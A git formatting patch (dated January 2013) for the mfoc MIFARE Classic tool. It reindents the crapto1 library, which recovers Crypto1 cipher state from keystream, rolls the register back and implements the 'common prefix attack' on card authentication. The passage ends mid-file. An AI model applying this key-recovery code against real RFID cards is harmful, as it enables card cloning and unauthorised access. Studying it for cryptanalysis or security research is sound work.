From 6048309a13a6a9f7702015098355fa76719b7c61 Mon Sep 17 00:00:00 2001 From: Romuald Conty Date: Sun, 20 Jan 2013 15:36:59 +0100 Subject: [PATCH] Format source code with "make style" --- src/crapto1.c | 586 +++++++++--------- src/crapto1.h | 94 +-- src/crypto1.c | 73 ++- src/mfoc.c | 1611 +++++++++++++++++++++++++------------------------ src/mfoc.h | 66 +- 5 files changed, 1221 insertions(+), 1209 deletions(-) diff --git a/src/crapto1.c b/src/crapto1.c index 9fc1e5f..b693bc3 100644 --- a/src/crapto1.c +++ b/src/crapto1.c @@ -24,50 +24,50 @@ static uint8_t filterlut[1 << 20]; static void __attribute__((constructor)) fill_lut(void) { - uint32_t i; - for(i = 0; i < 1 << 20; ++i) - filterlut[i] = filter(i); + uint32_t i; + for (i = 0; i < 1 << 20; ++i) + filterlut[i] = filter(i); } #define filter(x) (filterlut[(x) & 0xfffff]) #endif -static void quicksort(uint32_t* const start, uint32_t* const stop) +static void quicksort(uint32_t *const start, uint32_t *const stop) { - uint32_t *it = start + 1, *rit = stop; + uint32_t *it = start + 1, *rit = stop; - if(it > rit) - return; + if (it > rit) + return; - while(it < rit) - if(*it <= *start) - ++it; - else if(*rit > *start) - --rit; - else - *it ^= (*it ^= *rit, *rit ^= *it); + while (it < rit) + if (*it <= *start) + ++it; + else if (*rit > *start) + --rit; + else + *it ^= (*it ^= *rit, *rit ^= *it); - if(*rit >= *start) - --rit; - if(rit != start) - *rit ^= (*rit ^= *start, *start ^= *rit); + if (*rit >= *start) + --rit; + if (rit != start) + *rit ^= (*rit ^= *start, *start ^= *rit); - quicksort(start, rit - 1); - quicksort(rit + 1, stop); + quicksort(start, rit - 1); + quicksort(rit + 1, stop); } /** binsearch * Binary search for the first occurence of *stop's MSB in sorted [start,stop] */ -static inline uint32_t* +static inline uint32_t * binsearch(uint32_t *start, uint32_t *stop) { - uint32_t mid, val = *stop & 0xff000000; - while(start != stop) - if(start[mid = (stop - start) >> 1] > val) - stop = &start[mid]; - else - start += mid + 1; + uint32_t mid, val = *stop & 0xff000000; + while (start != stop) + if (start[mid = (stop - start) >> 1] > val) + stop = &start[mid]; + else + start += mid + 1; - return start; + return start; } /** update_contribution @@ -76,11 +76,11 @@ binsearch(uint32_t *start, uint32_t *stop) static inline void update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2) { - uint32_t p = *item >> 25; + uint32_t p = *item >> 25; - p = p << 1 | parity(*item & mask1); - p = p << 1 | parity(*item & mask2); - *item = p << 24 | (*item & 0xffffff); + p = p << 1 | parity(*item & mask1); + p = p << 1 | parity(*item & mask2); + *item = p << 24 | (*item & 0xffffff); } /** extend_table @@ -89,21 +89,21 @@ update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2) static inline void extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in) { - in <<= 24; - for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) - if(filter(*tbl) ^ filter(*tbl | 1)) { - *tbl |= filter(*tbl) ^ bit; - update_contribution(tbl, m1, m2); - *tbl ^= in; - } else if(filter(*tbl) == bit) { - *++*end = tbl[1]; - tbl[1] = tbl[0] | 1; - update_contribution(tbl, m1, m2); - *tbl++ ^= in; - update_contribution(tbl, m1, m2); - *tbl ^= in; - } else - *tbl-- = *(*end)--; + in <<= 24; + for (*tbl <<= 1; tbl <= *end; *++tbl <<= 1) + if (filter(*tbl) ^ filter(*tbl | 1)) { + *tbl |= filter(*tbl) ^ bit; + update_contribution(tbl, m1, m2); + *tbl ^= in; + } else if (filter(*tbl) == bit) { + *++*end = tbl[1]; + tbl[1] = tbl[0] | 1; + update_contribution(tbl, m1, m2); + *tbl++ ^= in; + update_contribution(tbl, m1, m2); + *tbl ^= in; + } else + *tbl-- = *(*end)--; } /** extend_table_simple * using a bit of the keystream extend the table of possible lfsr states @@ -111,201 +111,202 @@ extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in static inline void extend_table_simple(uint32_t *tbl, uint32_t **end, int bit) { - for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) - if(filter(*tbl) ^ filter(*tbl | 1)) { - *tbl |= filter(*tbl) ^ bit; - } else if(filter(*tbl) == bit) { - *++*end = *++tbl; - *tbl = tbl[-1] | 1; - } else - *tbl-- = *(*end)--; + for (*tbl <<= 1; tbl <= *end; *++tbl <<= 1) + if (filter(*tbl) ^ filter(*tbl | 1)) { + *tbl |= filter(*tbl) ^ bit; + } else if (filter(*tbl) == bit) { + *++*end = *++tbl; + *tbl = tbl[-1] | 1; + } else + *tbl-- = *(*end)--; } /** recover * recursively narrow down the search space, 4 bits of keystream at a time */ -static struct Crypto1State* +static struct Crypto1State * recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks, - uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem, - struct Crypto1State *sl, uint32_t in) -{ - uint32_t *o, *e, i; + uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem, + struct Crypto1State *sl, uint32_t in) { + uint32_t *o, *e, i; - if(rem == -1) { - for(e = e_head; e <= e_tail; ++e) { - *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4); - for(o = o_head; o <= o_tail; ++o, ++sl) { - sl->even = *o; - sl->odd = *e ^ parity(*o & LF_POLY_ODD); - sl[1].odd = sl[1].even = 0; - } - } - return sl; - } + if (rem == -1) { + for (e = e_head; e <= e_tail; ++e) { + *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4); + for (o = o_head; o <= o_tail; ++o, ++sl) { + sl->even = *o; + sl->odd = *e ^ parity(*o & LF_POLY_ODD); + sl[1].odd = sl[1].even = 0; + } + } + return sl; + } - for(i = 0; i < 4 && rem--; i++) { - extend_table(o_head, &o_tail, (oks >>= 1) & 1, - LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0); - if(o_head > o_tail) - return sl; + for (i = 0; i < 4 && rem--; i++) { + extend_table(o_head, &o_tail, (oks >>= 1) & 1, + LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0); + if (o_head > o_tail) + return sl; - extend_table(e_head, &e_tail, (eks >>= 1) & 1, - LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3); - if(e_head > e_tail) - return sl; - } + extend_table(e_head, &e_tail, (eks >>= 1) & 1, + LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3); + if (e_head > e_tail) + return sl; + } - quicksort(o_head, o_tail); - quicksort(e_head, e_tail); + quicksort(o_head, o_tail); + quicksort(e_head, e_tail); - while(o_tail >= o_head && e_tail >= e_head) - if(((*o_tail ^ *e_tail) >> 24) == 0) { - o_tail = binsearch(o_head, o = o_tail); - e_tail = binsearch(e_head, e = e_tail); - sl = recover(o_tail--, o, oks, - e_tail--, e, eks, rem, sl, in); - } - else if(*o_tail > *e_tail) - o_tail = binsearch(o_head, o_tail) - 1; - else - e_tail = binsearch(e_head, e_tail) - 1; + while (o_tail >= o_head && e_tail >= e_head) + if (((*o_tail ^ *e_tail) >> 24) == 0) { + o_tail = binsearch(o_head, o = o_tail); + e_tail = binsearch(e_head, e = e_tail); + sl = recover(o_tail--, o, oks, + e_tail--, e, eks, rem, sl, in); + } else if (*o_tail > *e_tail) + o_tail = binsearch(o_head, o_tail) - 1; + else + e_tail = binsearch(e_head, e_tail) - 1; - return sl; + return sl; } /** lfsr_recovery * recover the state of the lfsr given 32 bits of the keystream * additionally you can use the in parameter to specify the value * that was fed into the lfsr at the time the keystream was generated */ -struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in) -{ - struct Crypto1State *statelist; - uint32_t *odd_head = 0, *odd_tail = 0, oks = 0; - uint32_t *even_head = 0, *even_tail = 0, eks = 0; - int i; +struct Crypto1State *lfsr_recovery32(uint32_t ks2, uint32_t in) { + struct Crypto1State *statelist; + uint32_t *odd_head = 0, *odd_tail = 0, oks = 0; + uint32_t *even_head = 0, *even_tail = 0, eks = 0; + int i; - for(i = 31; i >= 0; i -= 2) - oks = oks << 1 | BEBIT(ks2, i); - for(i = 30; i >= 0; i -= 2) - eks = eks << 1 | BEBIT(ks2, i); + for (i = 31; i >= 0; i -= 2) + oks = oks << 1 | BEBIT(ks2, i); + for (i = 30; i >= 0; i -= 2) + eks = eks << 1 | BEBIT(ks2, i); - odd_head = odd_tail = malloc(sizeof(uint32_t) << 21); - even_head = even_tail = malloc(sizeof(uint32_t) << 21); - statelist = malloc(sizeof(struct Crypto1State) << 18); - if(!odd_tail-- || !even_tail-- || !statelist) - goto out; + odd_head = odd_tail = malloc(sizeof(uint32_t) << 21); + even_head = even_tail = malloc(sizeof(uint32_t) << 21); + statelist = malloc(sizeof(struct Crypto1State) << 18); + if (!odd_tail-- || !even_tail-- || !statelist) + goto out; - statelist->odd = statelist->even = 0; + statelist->odd = statelist->even = 0; - for(i = 1 << 20; i >= 0; --i) { - if(filter(i) == (oks & 1)) - *++odd_tail = i; - if(filter(i) == (eks & 1)) - *++even_tail = i; - } + for (i = 1 << 20; i >= 0; --i) { + if (filter(i) == (oks & 1)) + *++odd_tail = i; + if (filter(i) == (eks & 1)) + *++even_tail = i; + } - for(i = 0; i < 4; i++) { - extend_table_simple(odd_head, &odd_tail, (oks >>= 1) & 1); - extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1); - } + for (i = 0; i < 4; i++) { + extend_table_simple(odd_head, &odd_tail, (oks >>= 1) & 1); + extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1); + } - in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00); - recover(odd_head, odd_tail, oks, - even_head, even_tail, eks, 11, statelist, in << 1); + in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00); + recover(odd_head, odd_tail, oks, + even_head, even_tail, eks, 11, statelist, in << 1); out: - free(odd_head); - free(even_head); - return statelist; + free(odd_head); + free(even_head); + return statelist; } static const uint32_t S1[] = { 0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214, - 0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83, - 0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA}; + 0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83, + 0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA + }; static const uint32_t S2[] = { 0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60, - 0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8, - 0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20, - 0x7EC7EE90, 0x7F63F748, 0x79117020}; + 0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8, + 0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20, + 0x7EC7EE90, 0x7F63F748, 0x79117020 + }; static const uint32_t T1[] = { - 0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66, - 0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B, - 0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615, - 0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C}; + 0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66, + 0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B, + 0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615, + 0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C +}; static const uint32_t T2[] = { 0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0, - 0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268, - 0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0, - 0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0, - 0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950, - 0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0}; + 0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268, + 0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0, + 0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0, + 0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950, + 0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0 + }; static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD}; static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0}; /** Reverse 64 bits of keystream into possible cipher states * Variation mentioned in the paper. Somewhat optimized version */ -struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3) -{ - struct Crypto1State *statelist, *sl; - uint8_t oks[32], eks[32], hi[32]; - uint32_t low = 0, win = 0; - uint32_t *tail, table[1 << 16]; - int i, j; +struct Crypto1State *lfsr_recovery64(uint32_t ks2, uint32_t ks3) { + struct Crypto1State *statelist, *sl; + uint8_t oks[32], eks[32], hi[32]; + uint32_t low = 0, win = 0; + uint32_t *tail, table[1 << 16]; + int i, j; - sl = statelist = malloc(sizeof(struct Crypto1State) << 4); - if(!sl) - return 0; - sl->odd = sl->even = 0; + sl = statelist = malloc(sizeof(struct Crypto1State) << 4); + if (!sl) + return 0; + sl->odd = sl->even = 0; - for(i = 30; i >= 0; i -= 2) { - oks[i >> 1] = BIT(ks2, i ^ 24); - oks[16 + (i >> 1)] = BIT(ks3, i ^ 24); - } - for(i = 31; i >= 0; i -= 2) { - eks[i >> 1] = BIT(ks2, i ^ 24); - eks[16 + (i >> 1)] = BIT(ks3, i ^ 24); - } + for (i = 30; i >= 0; i -= 2) { + oks[i >> 1] = BIT(ks2, i ^ 24); + oks[16 + (i >> 1)] = BIT(ks3, i ^ 24); + } + for (i = 31; i >= 0; i -= 2) { + eks[i >> 1] = BIT(ks2, i ^ 24); + eks[16 + (i >> 1)] = BIT(ks3, i ^ 24); + } - for(i = 0xfffff; i >= 0; --i) { - if (filter(i) != oks[0]) - continue; + for (i = 0xfffff; i >= 0; --i) { + if (filter(i) != oks[0]) + continue; - *(tail = table) = i; - for(j = 1; tail >= table && j < 29; ++j) - extend_table_simple(table, &tail, oks[j]); + *(tail = table) = i; + for (j = 1; tail >= table && j < 29; ++j) + extend_table_simple(table, &tail, oks[j]); - if(tail < table) - continue; + if (tail < table) + continue; - for(j = 0; j < 19; ++j) - low = low << 1 | parity(i & S1[j]); - for(j = 0; j < 32; ++j) - hi[j] = parity(i & T1[j]); + for (j = 0; j < 19; ++j) + low = low << 1 | parity(i & S1[j]); + for (j = 0; j < 32; ++j) + hi[j] = parity(i & T1[j]); - for(; tail >= table; --tail) { - for(j = 0; j < 3; ++j) { - *tail = *tail << 1; - *tail |= parity((i & C1[j]) ^ (*tail & C2[j])); - if(filter(*tail) != oks[29 + j]) - goto continue2; - } + for (; tail >= table; --tail) { + for (j = 0; j < 3; ++j) { + *tail = *tail << 1; + *tail |= parity((i & C1[j]) ^(*tail & C2[j])); + if (filter(*tail) != oks[29 + j]) + goto continue2; + } - for(j = 0; j < 19; ++j) - win = win << 1 | parity(*tail & S2[j]); + for (j = 0; j < 19; ++j) + win = win << 1 | parity(*tail & S2[j]); - win ^= low; - for(j = 0; j < 32; ++j) { - win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]); - if(filter(win) != eks[j]) - goto continue2; - } + win ^= low; + for (j = 0; j < 32; ++j) { + win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]); + if (filter(win) != eks[j]) + goto continue2; + } - *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail); - sl->odd = *tail ^ parity(LF_POLY_ODD & win); - sl->even = win; - ++sl; - sl->odd = sl->even = 0; - continue2:; - } - } - return statelist; + *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail); + sl->odd = *tail ^ parity(LF_POLY_ODD & win); + sl->even = win; + ++sl; + sl->odd = sl->even = 0; +continue2: + ; + } + } + return statelist; } uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb); @@ -318,42 +319,42 @@ uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd); */ uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb) { - int out; - uint8_t ret; + int out; + uint8_t ret; - s->odd &= 0xffffff; - s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); + s->odd &= 0xffffff; + s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); - out = s->even & 1; - out ^= LF_POLY_EVEN & (s->even >>= 1); - out ^= LF_POLY_ODD & s->odd; - out ^= !!in; - out ^= (ret = filter(s->odd)) & !!fb; + out = s->even & 1; + out ^= LF_POLY_EVEN & (s->even >>= 1); + out ^= LF_POLY_ODD & s->odd; + out ^= !!in; + out ^= (ret = filter(s->odd)) & !!fb; - s->even |= parity(out) << 23; - return ret; + s->even |= parity(out) << 23; + return ret; } /** lfsr_rollback_byte * Rollback the shift register in order to get previous states */ uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb) { - int i; - uint8_t ret = 0; - for (i = 7; i >= 0; --i) - ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i; - return ret; + int i; + uint8_t ret = 0; + for (i = 7; i >= 0; --i) + ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i; + return ret; } /** lfsr_rollback_word * Rollback the shift register in order to get previous states */ uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb) { - int i; - uint32_t ret = 0; - for (i = 31; i >= 0; --i) - ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24); - return ret; + int i; + uint32_t ret = 0; + for (i = 31; i >= 0; --i) + ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24); + return ret; } /** nonce_distance @@ -362,23 +363,24 @@ uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb) static uint16_t *dist = 0; int nonce_distance(uint32_t from, uint32_t to) { - uint16_t x, i; - if(!dist) { - dist = malloc(2 << 16); - if(!dist) - return -1; - for (x = i = 1; i; ++i) { - dist[(x & 0xff) << 8 | x >> 8] = i; - x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15; - } - } - return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535; + uint16_t x, i; + if (!dist) { + dist = malloc(2 << 16); + if (!dist) + return -1; + for (x = i = 1; i; ++i) { + dist[(x & 0xff) << 8 | x >> 8] = i; + x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15; + } + } + return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535; } static uint32_t fastfwd[2][8] = { - { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB}, - { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}}; + { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB}, + { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980} +}; /** lfsr_prefix_ks @@ -392,64 +394,63 @@ static uint32_t fastfwd[2][8] = { */ uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd) { - uint32_t c, entry, *candidates = malloc(4 << 21); - int i, size = (1 << 21) - 1; + uint32_t c, entry, *candidates = malloc(4 << 21); + int i, size = (1 << 21) - 1; - if(!candidates) - return 0; + if (!candidates) + return 0; - for(i = 0; i <= size; ++i) - candidates[i] = i; + for (i = 0; i <= size; ++i) + candidates[i] = i; - for(c = 0; c < 8; ++c) - for(i = 0;i <= size; ++i) { - entry = candidates[i] ^ fastfwd[isodd][c]; + for (c = 0; c < 8; ++c) + for (i = 0; i <= size; ++i) { + entry = candidates[i] ^ fastfwd[isodd][c]; - if(filter(entry >> 1) != BIT(ks[c], isodd) || - filter(entry) != BIT(ks[c], isodd + 2)) - candidates[i--] = candidates[size--]; - } + if (filter(entry >> 1) != BIT(ks[c], isodd) || + filter(entry) != BIT(ks[c], isodd + 2)) + candidates[i--] = candidates[size--]; + } - candidates[size + 1] = -1; + candidates[size + 1] = -1; - return candidates; + return candidates; } /** check_pfx_parity * helper function which eliminates possible secret states using parity bits */ -static struct Crypto1State* +static struct Crypto1State * check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8], - uint32_t odd, uint32_t even, struct Crypto1State* sl) -{ - uint32_t ks1, nr, ks2, rr, ks3, c, good = 1; + uint32_t odd, uint32_t even, struct Crypto1State *sl) { + uint32_t ks1, nr, ks2, rr, ks3, c, good = 1; - for(c = 0; good && c < 8; ++c) { - sl->odd = odd ^ fastfwd[1][c]; - sl->even = even ^ fastfwd[0][c]; + for (c = 0; good && c < 8; ++c) { + sl->odd = odd ^ fastfwd[1][c]; + sl->even = even ^ fastfwd[0][c]; - lfsr_rollback_bit(sl, 0, 0); - lfsr_rollback_bit(sl, 0, 0); + lfsr_rollback_bit(sl, 0, 0); + lfsr_rollback_bit(sl, 0, 0); - ks3 = lfsr_rollback_bit(sl, 0, 0); - ks2 = lfsr_rollback_word(sl, 0, 0); - ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1); + ks3 = lfsr_rollback_bit(sl, 0, 0); + ks2 = lfsr_rollback_word(sl, 0, 0); + ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1); - nr = ks1 ^ (prefix | c << 5); - rr = ks2 ^ rresp; + nr = ks1 ^(prefix | c << 5); + rr = ks2 ^ rresp; - good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24); - good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16); - good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2, 8); - good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2, 0); - good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3; - } + good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24); + good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16); + good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2, 8); + good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2, 0); + good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3; + } - return sl + good; -} + return sl + good; +} -struct Crypto1State* lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]); +struct Crypto1State *lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]); /** lfsr_common_prefix * Implentation of the common prefix attack. @@ -460,35 +461,34 @@ struct Crypto1State* lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8] * It returns a zero terminated list of possible cipher states after the * tag nonce was fed in */ -struct Crypto1State* -lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]) -{ - struct Crypto1State *statelist, *s; - uint32_t *odd, *even, *o, *e, top; +struct Crypto1State * +lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]) { + struct Crypto1State *statelist, *s; + uint32_t *odd, *even, *o, *e, top; - odd = lfsr_prefix_ks(ks, 1); - even = lfsr_prefix_ks(ks, 0); + odd = lfsr_prefix_ks(ks, 1); + even = lfsr_prefix_ks(ks, 0); - s = statelist = malloc((sizeof *statelist) << 20); - if(!s || !odd || !even) { - free(odd); - free(even); - free(statelist); - return 0; - } + s = statelist = malloc((sizeof *statelist) << 20); + if (!s || !odd || !even) { + free(odd); + free(even); + free(statelist); + return 0; + } - for(o = odd; *o + 1; ++o) - for(e = even; *e + 1; ++e) - for(top = 0; top < 64; ++top) { - *o += 1 << 21; - *e += (!(top & 7) + 1) << 21; - s = check_pfx_parity(pfx, rr, par, *o, *e, s); - } + for (o = odd; *o + 1; ++o) + for (e = even; *e + 1; ++e) + for (top = 0; top < 64; ++top) { + *o += 1 << 21; + *e += (!(top & 7) + 1) << 21; + s = check_pfx_parity(pfx, rr, par, *o, *e, s); + } - s->odd = s->even = 0; + s->odd = s->even = 0; - free(odd); - free(even); + free(odd); + free(even); - return statelist; + return statelist; } diff --git a/src/crapto1.h b/src/crapto1.h index 5763861..792be8c 100644 --- a/src/crapto1.h +++ b/src/crapto1.h @@ -24,65 +24,65 @@ extern "C" { #endif -struct Crypto1State {uint32_t odd, even;}; -struct Crypto1State* crypto1_create(uint64_t); -void crypto1_destroy(struct Crypto1State*); -void crypto1_get_lfsr(struct Crypto1State*, uint64_t*); -uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int); -uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int); -uint32_t crypto1_word(struct Crypto1State*, uint32_t, int); -uint32_t prng_successor(uint32_t x, uint32_t n); + struct Crypto1State {uint32_t odd, even;}; + struct Crypto1State *crypto1_create(uint64_t); + void crypto1_destroy(struct Crypto1State *); + void crypto1_get_lfsr(struct Crypto1State *, uint64_t *); + uint8_t crypto1_bit(struct Crypto1State *, uint8_t, int); + uint8_t crypto1_byte(struct Crypto1State *, uint8_t, int); + uint32_t crypto1_word(struct Crypto1State *, uint32_t, int); + uint32_t prng_successor(uint32_t x, uint32_t n); -struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in); -struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3); + struct Crypto1State *lfsr_recovery32(uint32_t ks2, uint32_t in); + struct Crypto1State *lfsr_recovery64(uint32_t ks2, uint32_t ks3); -void lfsr_rollback(struct Crypto1State* s, uint32_t in, int fb); -uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb); -int nonce_distance(uint32_t from, uint32_t to); + void lfsr_rollback(struct Crypto1State *s, uint32_t in, int fb); + uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb); + int nonce_distance(uint32_t from, uint32_t to); #define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\ - uint32_t __n = 0,__M = 0, N = 0;\ - int __i;\ - for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\ - for(__i = FSIZE - 1; __i >= 0; __i--)\ - if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\ - break;\ - else if(__i)\ - __M = prng_successor(__M, (__i == 7) ? 48 : 8);\ - else + uint32_t __n = 0,__M = 0, N = 0;\ + int __i;\ + for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\ + for(__i = FSIZE - 1; __i >= 0; __i--)\ + if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\ + break;\ + else if(__i)\ + __M = prng_successor(__M, (__i == 7) ? 48 : 8);\ + else #define LF_POLY_ODD (0x29CE5C) #define LF_POLY_EVEN (0x870804) #define BIT(x, n) ((x) >> (n) & 1) #define BEBIT(x, n) BIT(x, (n) ^ 24) -static inline int parity(uint32_t x) -{ + static inline int parity(uint32_t x) + { #if !defined __i386__ || !defined __GNUC__ - x ^= x >> 16; - x ^= x >> 8; - x ^= x >> 4; - return BIT(0x6996, x & 0xf); + x ^= x >> 16; + x ^= x >> 8; + x ^= x >> 4; + return BIT(0x6996, x & 0xf); #else - asm( "movl %1, %%eax\n" - "mov %%ax, %%cx\n" - "shrl $0x10, %%eax\n" - "xor %%ax, %%cx\n" - "xor %%ch, %%cl\n" - "setpo %%al\n" - "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx"); - return x; + asm("movl %1, %%eax\n" + "mov %%ax, %%cx\n" + "shrl $0x10, %%eax\n" + "xor %%ax, %%cx\n" + "xor %%ch, %%cl\n" + "setpo %%al\n" + "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax", "ecx"); + return x; #endif -} -static inline int filter(uint32_t const x) -{ - uint32_t f; + } + static inline int filter(uint32_t const x) + { + uint32_t f; - f = 0xf22c0 >> (x & 0xf) & 16; - f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8; - f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4; - f |= 0x1e458 >> (x >> 12 & 0xf) & 2; - f |= 0x0d938 >> (x >> 16 & 0xf) & 1; - return BIT(0xEC57E80A, f); -} + f = 0xf22c0 >> (x & 0xf) & 16; + f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8; + f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4; + f |= 0x1e458 >> (x >> 12 & 0xf) & 2; + f |= 0x0d938 >> (x >> 16 & 0xf) & 1; + return BIT(0xEC57E80A, f); + } #ifdef __cplusplus } #endif diff --git a/src/crypto1.c b/src/crypto1.c index e2aab71..fc11f00 100644 --- a/src/crypto1.c +++ b/src/crypto1.c @@ -21,63 +21,62 @@ #include #define SWAPENDIAN(x)\ - 